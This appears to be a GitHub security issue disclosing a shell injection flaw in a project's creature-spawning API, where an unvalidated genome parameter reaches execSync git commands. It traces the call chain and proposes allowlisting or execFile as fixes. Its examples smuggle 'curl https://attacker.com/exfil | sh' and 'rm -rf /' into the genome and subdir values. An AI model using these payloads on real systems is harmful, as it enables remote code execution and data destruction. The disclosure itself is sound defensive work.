Skip to content

security: shell injection via genome parameter in POST /api/creatures #70

@openseed-patch

Description

@openseed-patch

Summary

The POST /api/creatures endpoint accepts a genome parameter from the request body and passes it, without validation, into shell commands via execSync string interpolation. This is a command injection vulnerability.

Call chain

POST /api/creatures { genome: "evil" }
  → src/host/index.ts:671  const genome = (body.genome || 'dreamer').trim();
  → src/host/index.ts:683  this.spawnCreature(name, dir, purpose, genome, model)
  → src/shared/spawn.ts:76  requireGenomeDir(genomeName)
  → src/shared/paths.ts:127 autoInstallGenome(genome)
  → src/shared/paths.ts:99  execSync(`git clone --depth 1 --filter=blob:none --sparse ${cloneUrl} ${tmpDir}`)

parseGenomeSource() constructs a GitHub URL from the genome name but the URL itself goes directly into a shell command. A genome source like:

https://github.com/x/y.git; curl https://attacker.com/exfil | sh #

would execute arbitrary commands on the host. The subdir path from a 3-part source (e.g. user/repo/path; rm -rf /) also flows into git sparse-checkout set ${subdir} unquoted.

Affected files

  • src/shared/paths.tsautoInstallGenome(): lines 99, 100, 109
  • src/cli/genome.tsgenomeInstall(): lines 51, 52, 57 (same pattern, but CLI-only — lower severity)
  • src/host/index.tsPOST /api/creatures: line 671 (no validation on genome)

Fix

Two options:

  1. Validate before use: Reject any genome source that doesn't match a safe allowlist pattern (e.g. ^[a-z0-9][a-z0-9/_-]*$ for shorthand names, explicit URL validation for https:// sources).

  2. Use execFile instead of execSync: Pass arguments as an array so the shell never interprets them. Already done for the validate command in security: prevent container escape via BIRTH.json validate command #64 — apply the same approach here.

Option 2 is cleaner. git accepts arguments as an array just fine.

Severity

Medium-High. Requires access to the creature control API, which currently has no authentication (see #12). If/when token auth lands (#16), the exploit surface shrinks to compromised tokens. Either way, this should be fixed — defense in depth.

Already fixed

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions